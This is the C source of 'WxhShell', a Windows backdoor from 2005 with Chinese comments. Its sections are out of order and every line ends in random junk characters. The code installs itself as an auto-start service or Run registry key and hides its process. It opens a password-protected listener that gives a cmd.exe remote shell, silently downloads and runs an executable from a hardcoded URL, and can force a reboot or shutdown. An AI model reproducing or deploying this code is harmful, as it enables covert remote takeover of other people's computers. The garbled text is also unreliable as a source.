    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3>'TYXs-  
    if(Boot(SHUTDOWN)) W?:e4:Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3LkcK1x.  
    else { De-hHY{>  
    closesocket(wsh); gX%"Ki7.  
    ExitThread(0); 6(1S_b=a  
    } d:vuRK4+  
    break; S{Q2KD  
    } 94}y,\S~  
  // 获取shell \[J\I  
  case 's': { cr`NHl/XF  
    CmdShell(wsh); p9y@5z  
    closesocket(wsh); Bjp4:;Bb  
    ExitThread(0); ufi:aE=}  
    break; L%`MoTpK q  
  } }> ]`#s  
  // 退出 0'g e}2^  
  case 'x': { KSYHG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Q080Ltet  
    CloseIt(wsh);  ?8/T#ox  
    break; hh[@q*C  
    } @kPe/j/[1  
  // 离开 fq[1|Q  
  case 'q': { V<i_YLYmJe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <~Oy3#{  
    closesocket(wsh); AX]cM)w  
    WSACleanup(); 47=YP0r?>T  
    exit(1); Qx_]oz]NY  
    break; }Pm; xHnf&  
        } S8,e `F  
  } s/0bXM$^  
  } xFzaVjjP  
m ##_U9O  
  // 提示信息 0t?g!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d6XdN  
} j0~ dJ#  
  } 0O!A8FA0  
|4j'KM;U  
  return; bIXD(5y  
} RgD%pNhI  
}3/|;0j$  
// shell模块句柄 6n:oEXM>  
int CmdShell(SOCKET sock) ILIv43QKM(  
{ A D%9;KQ8  
STARTUPINFO si; @x@wo9<Fc  
ZeroMemory(&si,sizeof(si)); Y M,UM>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bcYGkvGbO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _)Ad%LPsd7  
PROCESS_INFORMATION ProcessInfo; ^Z+p_;J$p  
char cmdline[]="cmd"; +[` )t/   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m^o?{ (K  
  return 0; 9yK\<6}}QH  
} 7P:/ (P  
j 6dlAe  
// 自身启动模式 wD92Ava   
int StartFromService(void) "#.L\p{Zy  
{ f%/6kz  
typedef struct @;X#/dZe  
{ Ov;q]Vn>  
  DWORD ExitStatus; ?P;=_~X  
  DWORD PebBaseAddress; u)[i'ceQZ:  
  DWORD AffinityMask; L>n^Q:M  
  DWORD BasePriority; %RIlu[J  
  ULONG UniqueProcessId; Rxq4Diq5k  
  ULONG InheritedFromUniqueProcessId; gbu*6&j9  
}   PROCESS_BASIC_INFORMATION; )S9}uOG#  
`4,]Mr1b  
PROCNTQSIP NtQueryInformationProcess; zgl$ n  
s_P[lbHt.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tP89gN^PA|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }\QXPU{UVd  
-U{!'e8YiN  
  HANDLE             hProcess; ETm:KbS  
  PROCESS_BASIC_INFORMATION pbi; }vd72P B  
pQoZDD@B$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bQ-n<Lx  
  if(NULL == hInst ) return 0; $+ORq3  
uMjL>YLq{?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R(s[JH(&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YbF}>1/"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ma6Wr !J  
 ]l}bk]  
  if (!NtQueryInformationProcess) return 0; wlDo(]mj=O  
8:U0M'}u>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5& _R+g  
  if(!hProcess) return 0; `( 'NH]^  
l%qfaU2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ckhw d  
AZ SaI  
  CloseHandle(hProcess); ,x utI  
MhjIE<OI=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X([@}ren  
if(hProcess==NULL) return 0; 75iudki  
{<zE}7/2-  
HMODULE hMod; {KSy I#  
char procName[255]; 1ZXRH;J40  
unsigned long cbNeeded; PHMp, z8  
| Pqs)Mb]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ypNeTR$4  
; hU9_e  
  CloseHandle(hProcess); 0zk054F'  
H'I5LYsXO~  
if(strstr(procName,"services")) return 1; // 以服务启动 9t7 e~&R  
?lm<)y?I7+  
  return 0; // 注册表启动  CVZ 4:p  
} 7 6HB@'xY  
!iAZEOkRR  
// 主模块 = gcZRoL  
int StartWxhshell(LPSTR lpCmdLine) F.D6O[pZ  
{ }OSfC~5P  
  SOCKET wsl; G+WCE*  
BOOL val=TRUE; /U>8vV+C  
  int port=0; Ls*Vz,3!5  
  struct sockaddr_in door; m/WDJ$d  
!lKDNQ8>["  
  if(wscfg.ws_autoins) Install(); qv`:o `  
&{8[I3#@  
port=atoi(lpCmdLine); +!t *LSF  
I]B9+Z?xo  
if(port<=0) port=wscfg.ws_port; _k5$.f:Yj<  
iig&O(,  
  WSADATA data; dB Hki*.u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mo]>Um'F  
bBQHxH}vi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9lX[rBZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V/)3d  
  door.sin_family = AF_INET; /x /W>J2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :~p_(rE  
  door.sin_port = htons(port); 6wb M$|yFj  
nTsPX Tat  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3]>YBbXvE  
closesocket(wsl); }'\M}YM  
return 1; E8o9ufj3  
} 7KtgR=-Lb  
4-\4G"4  
  if(listen(wsl,2) == INVALID_SOCKET) { /sVmQqVY  
closesocket(wsl); K,*IfHi6[  
return 1; QzYaxNGv  
} JV! }"[  
  Wxhshell(wsl); U}{\qs-zt  
  WSACleanup(); !zxq9IhWR  
R~bLEo  
return 0; tOPk x(  
d%Ku 'Jy  
} :$QwOz^N*  
CF5%&B  
// 以NT服务方式启动 L~_zR>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~5Rh7   
{ 7RgnL<t~:8  
DWORD   status = 0; P2)g%$ME  
  DWORD   specificError = 0xfffffff; UL" <V  
T{T> S%17~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1'5 !")r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hflDVGBW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +7K]5p;!~  
  serviceStatus.dwWin32ExitCode     = 0; l_x>.'a  
  serviceStatus.dwServiceSpecificExitCode = 0; h#8 {fr)6  
  serviceStatus.dwCheckPoint       = 0; s'@@q  
  serviceStatus.dwWaitHint       = 0; ]j(Ld\:L  
:Czvwp{z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VE/~tT;  
  if (hServiceStatusHandle==0) return; 6.4,Qae9E  
S*rcXG6Q^  
status = GetLastError(); C%'eF`  
  if (status!=NO_ERROR) ,0$b8lb;x/  
{ -ANq!$E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BCH I@a  
    serviceStatus.dwCheckPoint       = 0; 1z[blNs&  
    serviceStatus.dwWaitHint       = 0; tQ4{:WPG  
    serviceStatus.dwWin32ExitCode     = status; y] ~X{v  
    serviceStatus.dwServiceSpecificExitCode = specificError; xX])IZ D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7M9s}b%?  
    return; 3*b!]^d:D  
  } &S# bLE  
~ K|o@LK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %P]-wBJw  
  serviceStatus.dwCheckPoint       = 0; QLTE`t5w3'  
  serviceStatus.dwWaitHint       = 0; g? \pH:|79  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {c$%3iQq  
} B Zw#ACU  
_d<\@Tkw  
// 处理NT服务事件,比如:启动、停止 II_MY#0X  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  Ia)^  
{ *$>$O%   
switch(fdwControl) s[@@INU  
{ *-9b!>5eD  
case SERVICE_CONTROL_STOP: n1c Q#u  
  serviceStatus.dwWin32ExitCode = 0; M, UYDZ',  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O4 Y;  
  serviceStatus.dwCheckPoint   = 0; Va'K~$d_  
  serviceStatus.dwWaitHint     = 0; iAW oKW  
  { sfNAGez  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m;I;{+"u  
  } |&%l @X 6  
  return; ?|Mmz@  
case SERVICE_CONTROL_PAUSE: Py,@or7n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RwwX;I"o%  
  break; :Zd# }P  
case SERVICE_CONTROL_CONTINUE: ^SRa!8z$W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1vxh3KS.  
  break; (.3L'+F  
case SERVICE_CONTROL_INTERROGATE:  ?hpk)Qu  
  break; XC{(O:EG  
}; ( ]o6Pi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iJE|u  
} 'C*NyHc  
-/&6}lD  
// 标准应用程序主函数 VbX$i!>8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `o*g2fW!  
{ |wj/lX7y  
>Y< y]vM:  
// 获取操作系统版本 2jx+q  
OsIsNt=GetOsVer(); z95V 7E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bf88f<Z  
y]\R0lR  
  // 从命令行安装 J0|}u1? l  
  if(strpbrk(lpCmdLine,"iI")) Install(); w G Q{  
Dl/_jM  
  // 下载执行文件 73(T+6`  
if(wscfg.ws_downexe) { "$8<\k$LGT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) et]*5Y6  
  WinExec(wscfg.ws_filenam,SW_HIDE); bvR*sT#rg  
} $Y0bjS2J  
.< vg[  
if(!OsIsNt) { 7\U1K^q  
// 如果时win9x,隐藏进程并且设置为注册表启动 /ADxHw`k  
HideProc(); IJXH_H_%*  
StartWxhshell(lpCmdLine); LDvF)Eg  
} TJ5{Ee GV  
else A?|cJ"N  
  if(StartFromService()) :7>Si%  
  // 以服务方式启动 1y"37;x  
  StartServiceCtrlDispatcher(DispatchTable); cuk2\> Xl  
else 7<^D7  
  // 普通方式启动 KwQO,($,]  
  StartWxhshell(lpCmdLine); )SUN+YV^  
Q84KU8?d  
return 0; W{m0z+N[B  
} W\<#`0tUt  
O x$|ZEh  
=3SL& :8  
#-HN[U?Gs  
=========================================== =\%>O7c,8Y  
lE|T'?/  
c8"I]Qc7  
4+ k:j=x  
'7*=m^pc  
UXk8nH  
" }5tn  
AYZds >#Q  
#include <stdio.h> -6tF   
#include <string.h> x(7K3(#|  
#include <windows.h> NxX1_d  
#include <winsock2.h> o"1us75P  
#include <winsvc.h> \+AH>I;vO  
#include <urlmon.h> 5PL,~Y  
n ~3c<{coZ  
#pragma comment (lib, "Ws2_32.lib") t+(CAP|,  
#pragma comment (lib, "urlmon.lib") I3 x}F$^  
%<muVRkB\  
#define MAX_USER   100 // 最大客户端连接数 GyPN)!X@.&  
#define BUF_SOCK   200 // sock buffer >aWJ+  
#define KEY_BUFF   255 // 输入 buffer ,6buo~?W:  
gq@."wHU  
#define REBOOT     0   // 重启 N8{>M,  
#define SHUTDOWN   1   // 关机 \4p<;$'  
F_Pd\Aq8  
#define DEF_PORT   5000 // 监听端口 t@HE.h  
anwn!Eqk"  
#define REG_LEN     16   // 注册表键长度 7z,M`14  
#define SVC_LEN     80   // NT服务名长度 hW+Dko(s  
1a!h&!$9  
// 从dll定义API x/S%NySG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tQ}gBE63  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z*[Z:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j{Fo 6##  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5Q}@Y3 i=  
si;]C~X*  
// wxhshell配置信息 d?P aZz{4  
struct WSCFG { 0Yjy  
  int ws_port;         // 监听端口 &4[iC/}  
  char ws_passstr[REG_LEN]; // 口令 5nn*)vK {  
  int ws_autoins;       // 安装标记, 1=yes 0=no QE}@|H9xs  
  char ws_regname[REG_LEN]; // 注册表键名 4yM8W\je  
  char ws_svcname[REG_LEN]; // 服务名 r/T DU[`&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WE7l[<b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7@"X~C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XHg %X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q}T9NzOH%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" By_Ui6:D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  e.GzGX  
D?'y)](  
}; h5gXYmk  
9 $S,P|  
// default Wxhshell configuration u~kwNN9t3  
struct WSCFG wscfg={DEF_PORT, p{J_d,JH  
    "xuhuanlingzhe", E)E!  
    1, Ttj5% ~  
    "Wxhshell", rh_({rvQ  
    "Wxhshell", <Gw<(M  
            "WxhShell Service", gZUy0`E  
    "Wrsky Windows CmdShell Service", ;hvXFU  
    "Please Input Your Password: ", ckk[n  
  1, 7GUJ&U) J  
  "http://www.wrsky.com/wxhshell.exe", ?:nZv< x  
  "Wxhshell.exe" !T~d5^l!  
    }; $OD5t5eTsM  
ezvaAhd{  
// 消息定义模块 h,+=h;!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z>:7}=H0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <X |h *  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YM|S<  
char *msg_ws_ext="\n\rExit."; ^-!HbbVv  
char *msg_ws_end="\n\rQuit."; "/fs%F  
char *msg_ws_boot="\n\rReboot..."; h;KK6*Z*$E  
char *msg_ws_poff="\n\rShutdown..."; S\ZAcz4  
char *msg_ws_down="\n\rSave to "; j#f&!&G5<&  
G~L?q~b  
char *msg_ws_err="\n\rErr!"; 0d ->$gb  
char *msg_ws_ok="\n\rOK!"; sriz b  
JY+[  
char ExeFile[MAX_PATH]; srLr~^$j[  
int nUser = 0; &^_(xgJL  
HANDLE handles[MAX_USER]; (O2HB-<rY  
int OsIsNt; MGz F+ln^U  
V2,WP  
SERVICE_STATUS       serviceStatus; u&xK>7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ([-=NT}Aq  
o z{j2%  
// 函数声明 syf"{bBe  
int Install(void); 61/zrMPn  
int Uninstall(void); H@ms43v\  
int DownloadFile(char *sURL, SOCKET wsh); QP%Fz#u`  
int Boot(int flag); ek)(pJ(+#  
void HideProc(void); L"I] mQvd  
int GetOsVer(void); t`,IW{  
int Wxhshell(SOCKET wsl); n;-r W;ZO  
void TalkWithClient(void *cs); _%vqBr*  
int CmdShell(SOCKET sock); +[ /r^C  
int StartFromService(void); gj,J3x4TK/  
int StartWxhshell(LPSTR lpCmdLine); y UAn~!s  
ue"?S6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t1{}-JlA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v|(b,J3  
O + & xb  
// 数据结构和表定义 -3t BN*0+  
SERVICE_TABLE_ENTRY DispatchTable[] = QCfpDE}  
{ `;CU[Ps?]  
{wscfg.ws_svcname, NTServiceMain}, 7$W;4!BN*  
{NULL, NULL} .p(l+  
}; f<:U"E.  
KBR0p&MN  
// 自我安装 s@LNQ|'kO  
int Install(void) }@%ahRGx%9  
{ \%Rta$ O?S  
  char svExeFile[MAX_PATH]; F ^t?*   
  HKEY key; ,l .U^d6>  
  strcpy(svExeFile,ExeFile); N%A`rY}u  
y!N)@y4  
// 如果是win9x系统,修改注册表设为自启动 (mIJI,[xn  
if(!OsIsNt) { lp-Zx[#`}C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cw&D}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G5#}Ed4  
  RegCloseKey(key); )?&kQ^@v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y;F R"~^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?s)sPM?  
  RegCloseKey(key); 1`]IU_)1B  
  return 0; <-:@} |br  
    } rHgdvDc  
  } `]P5,  
} s.^9HuM  
else { hdtnC29$  
\41)0,sEy  
// 如果是NT以上系统,安装为系统服务 1DLG]-j}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K6{bYho  
if (schSCManager!=0) 4ylDD|) rO  
{ (}1v^~FXj  
  SC_HANDLE schService = CreateService `m 3QT3B  
  ( +^DRto=  
  schSCManager, +1Rr kok  
  wscfg.ws_svcname, } .3]  
  wscfg.ws_svcdisp, QrckTO  
  SERVICE_ALL_ACCESS, `XSc >  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lp`<L-s  
  SERVICE_AUTO_START, xGEmrE<;  
  SERVICE_ERROR_NORMAL, aZjef  
  svExeFile, 2\63&C^  
  NULL, 3zTE4pHzu+  
  NULL, fj-pNl6Gf  
  NULL, 2"+x(Ax  
  NULL, P%@rH@^Y  
  NULL :{b6M/  
  ); R mW fV  
  if (schService!=0)  Q A)9  
  { {jM<t  
  CloseServiceHandle(schService); c Z6p^  
  CloseServiceHandle(schSCManager); P% +or*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wda\a.bXT  
  strcat(svExeFile,wscfg.ws_svcname); P"9@8aLB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vDW&pF_eI>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HIX=MprL<  
  RegCloseKey(key); qE`:b0FT  
  return 0; gJPDNZ*6pk  
    } mvTyx7 h=  
  } `e?;vA&  
  CloseServiceHandle(schSCManager); G?1x+H;o5  
} Q5y q"/=[a  
} e-iYJ?  
,V33v<|wc  
return 1; J7ktfyQ0W  
} `xX4!^0Hm  
Xvu)  
// 自我卸载 P 0Efh?oZ  
int Uninstall(void) Y$x"4=~  
{ R] Disljq  
  HKEY key; "VDk1YX_&l  
G&@-R{i  
if(!OsIsNt) { I[=Wmxa?r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nGx ~) T  
  RegDeleteValue(key,wscfg.ws_regname); 9eGCBVW:*  
  RegCloseKey(key); ]D{c4)\7C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EItxRHV5  
  RegDeleteValue(key,wscfg.ws_regname); 4ypRyO  
  RegCloseKey(key); DhWWN>I  
  return 0; D(qHf9  
  } P(pd0,%i;a  
} ]HyHz9QkL  
} G}P)vfcH  
else { MOP]\ypn  
$v:gBlj%"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); np-T&Pz2  
if (schSCManager!=0) K}PvrcO1  
{ TZh\#dp4l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6; 5)/q  
  if (schService!=0) n9kd2[s|  
  { |7QVMFZ  
  if(DeleteService(schService)!=0) { E 4='m  
  CloseServiceHandle(schService); p*pn@z  
  CloseServiceHandle(schSCManager);  Iys6R?~  
  return 0; HZDk <aU/!  
  } { r6]MS#l1  
  CloseServiceHandle(schService); O1?B{F/ e  
  } _\,rX\  
  CloseServiceHandle(schSCManager); ^91sl5c8yD  
} 5ys #L&q'Z  
} oUQGLl!V  
;'=VrE6  
return 1; X2 \E9hJg  
} X)Dqeb6  
UsLh)#}h  
// 从指定url下载文件 "JzfL(yt  
int DownloadFile(char *sURL, SOCKET wsh) /&D'V_Q`*  
{ v#<\:|XAg  
  HRESULT hr; 2q"_^deI5*  
char seps[]= "/"; Z!wD~C"D73  
char *token; d[Rb:Y w  
char *file; |h^K M  
char myURL[MAX_PATH]; 2f3=?YqD  
char myFILE[MAX_PATH]; v7 8&[  
*>e~_{F  
strcpy(myURL,sURL); |x d@M-ln  
  token=strtok(myURL,seps); j:HH#U  
  while(token!=NULL) A$7Eo`Of  
  { 7<EJo$-j  
    file=token; fd?bU|I_2  
  token=strtok(NULL,seps); ?_VRfeztw  
  } *he7BUO  
e> ar  
GetCurrentDirectory(MAX_PATH,myFILE); <TI3@9\qXE  
strcat(myFILE, "\\"); G%2P  
strcat(myFILE, file); _qY`KP "  
  send(wsh,myFILE,strlen(myFILE),0); z@!^ow)`J  
send(wsh,"...",3,0); Y*Y&)k6 t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lq1[r~  
  if(hr==S_OK) tgO+*q5B  
return 0; PSW #^o  
else R'G'&H{N  
return 1; xik`W!1S  
<9@&oN+T  
} X$BXT  
`Uz s+k-]  
// 系统电源模块 rW:iBq  
int Boot(int flag) Ab*] dn`z  
{ ]@*tfz\YaH  
  HANDLE hToken; GS}0;x  
  TOKEN_PRIVILEGES tkp; so} l#  
 ;e&!  
  if(OsIsNt) { wX-RQ[2X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); myD{sE2A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 h<fJzh  
    tkp.PrivilegeCount = 1; 'To<T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mYX56,b}5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j: <t  
if(flag==REBOOT) { q^u1z|'Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lb!r(o>8Cb  
  return 0; dO+kPC  
} 7k 3p'FeS  
else { LL{t5(- _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +jcdf}  
  return 0; 4w@v#H@  
} N%O[  
  } a|UqeNI{  
  else { r k@UsHy  
if(flag==REBOOT) { -dl}_   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e:qo_eSC^-  
  return 0; 0HjJaML  
} ab{;Z 5O  
else { !{IC[g n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GL/  KB  
  return 0; ?4:rP@  
} aJI>FTdK  
} l x7Kw%  
JdtPY~k0  
return 1; NzAQ@E 2d:  
} Hr8\QgD<4  
/;DjJpwf0  
// win9x进程隐藏模块 m+H%g"Zj  
void HideProc(void) :#Ty^-"]1  
{ _~PO  
s){Q&E~X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1c'79YU  
  if ( hKernel != NULL ) 5KK{%6#f\  
  { "rVU4F)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T 4eWbNSs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kr#I{gF  
    FreeLibrary(hKernel); [ qiOd!  
  } 02,W~+d1  
N9pwWg&<+  
return; &1=g A.ZR  
} t{~@I  
Hv3W{|  
// 获取操作系统版本 +B#qu/By  
int GetOsVer(void) gNTh% e  
{ 1f<RyAE?5  
  OSVERSIONINFO winfo; cu<y8 :U<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O5O.><RP  
  GetVersionEx(&winfo); ikr7DBLt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XYts8}y5  
  return 1; "i&fp:E0  
  else {f-XyF1`  
  return 0; )PwQ^||{  
} +uELTHH=  
/0 _zXQyV  
// 客户端句柄模块 ^eobp.U  
int Wxhshell(SOCKET wsl) |Hfl&3  
{ =C#*!N73  
  SOCKET wsh; `T=1<Twc  
  struct sockaddr_in client; $}db /hY*  
  DWORD myID; 9T$u+GX'  
V#NtBreN  
  while(nUser<MAX_USER) ]Ym=+lgi  
{ %0lf  
  int nSize=sizeof(client); VxkEez'|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [NL -!  
  if(wsh==INVALID_SOCKET) return 1; $5x]%1 R  
iyc$)"w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O)`Gzx*ShU  
if(handles[nUser]==0) v[VC2D  
  closesocket(wsh); e]+7DE  
else %uua_&#)  
  nUser++; i$["aP~G  
  } D!S8oKW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AxEc^Cof  
rEmwKZF'  
  return 0; W1hX?!xp!  
} <}cZi4l'  
$D}"k!H  
// 关闭 socket G~(& 3  
void CloseIt(SOCKET wsh) QypZH"Np  
{ \ZsP]};*  
closesocket(wsh); Ts#pUoE~+H  
nUser--; Wa<-AZnh  
ExitThread(0); 9ZhDZ~)p,  
} gX_SKy  
QAi1,+y]7w  
// 客户端请求句柄 u3ST;  
void TalkWithClient(void *cs) L@?e:*h  
{ a5)JkC  
1U'ZVJ5bpK  
  SOCKET wsh=(SOCKET)cs; fq=:h\\G  
  char pwd[SVC_LEN]; AC'lS >7s  
  char cmd[KEY_BUFF]; >P<'L4;  
char chr[1]; zC#%6@P\  
int i,j; qEZ!2R^`G  
1LX)4TCC  
  while (nUser < MAX_USER) { ~XKZXGw  
EWO /u.z  
if(wscfg.ws_passstr) { 4dD2{M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kf'=%]9#_T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @+E7w6>%  
  //ZeroMemory(pwd,KEY_BUFF); >9MS" t  
      i=0; I3PQdAs~&h  
  while(i<SVC_LEN) { *x!LKIpv  
?^. Pt  
  // 设置超时 8 ip^]  
  fd_set FdRead; :T5A84/C  
  struct timeval TimeOut; 8+ hhdy*b  
  FD_ZERO(&FdRead); f7 wm w2  
  FD_SET(wsh,&FdRead); o[oqPN3$Y  
  TimeOut.tv_sec=8; x)$2nonM  
  TimeOut.tv_usec=0; }2=hd..  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !vVT]k[N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WGPD8.  
J)KnE2dw5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8gAu7\p}  
  pwd=chr[0]; ) P%4:P  
  if(chr[0]==0xd || chr[0]==0xa) { E<k ^S{  
  pwd=0; fdLBhe#9M  
  break; 9(Jy0]E~  
  } R(`]n!V2  
  i++; gs>A=A(VYf  
    } gvlFumg2  
(gU2"{:]J  
  // 如果是非法用户,关闭 socket ]w-.|vx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F 3s?&T)[G  
} Mt=R*M}D0  
{[tZ.1.w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7O$ &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >4c`UW  
&oEyixe  
while(1) { fbV@=(y?  
.`+yo0O:  
  ZeroMemory(cmd,KEY_BUFF); O J>iq@ >  
WN\PX!K9  
      // 自动支持客户端 telnet标准   6+e4<sy[E  
  j=0; ai9  
  while(j<KEY_BUFF) { +q-c 8z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]!faA\1  
  cmd[j]=chr[0]; U!Mf]3  
  if(chr[0]==0xa || chr[0]==0xd) { `S$sQ&  
  cmd[j]=0; t\%%d)d9  
  break; * :S~C  
  } ,cD1{T\  
  j++; L;lk.~V4T  
    } 32^#RlSu8  
@,e8t BL  
  // 下载文件 }*Zo6{B-  
  if(strstr(cmd,"http://")) { - wWRm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~bGC/I;W>  
  if(DownloadFile(cmd,wsh)) %6HX*_Mr&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cm410=b  
  else ,J& 9kYz  
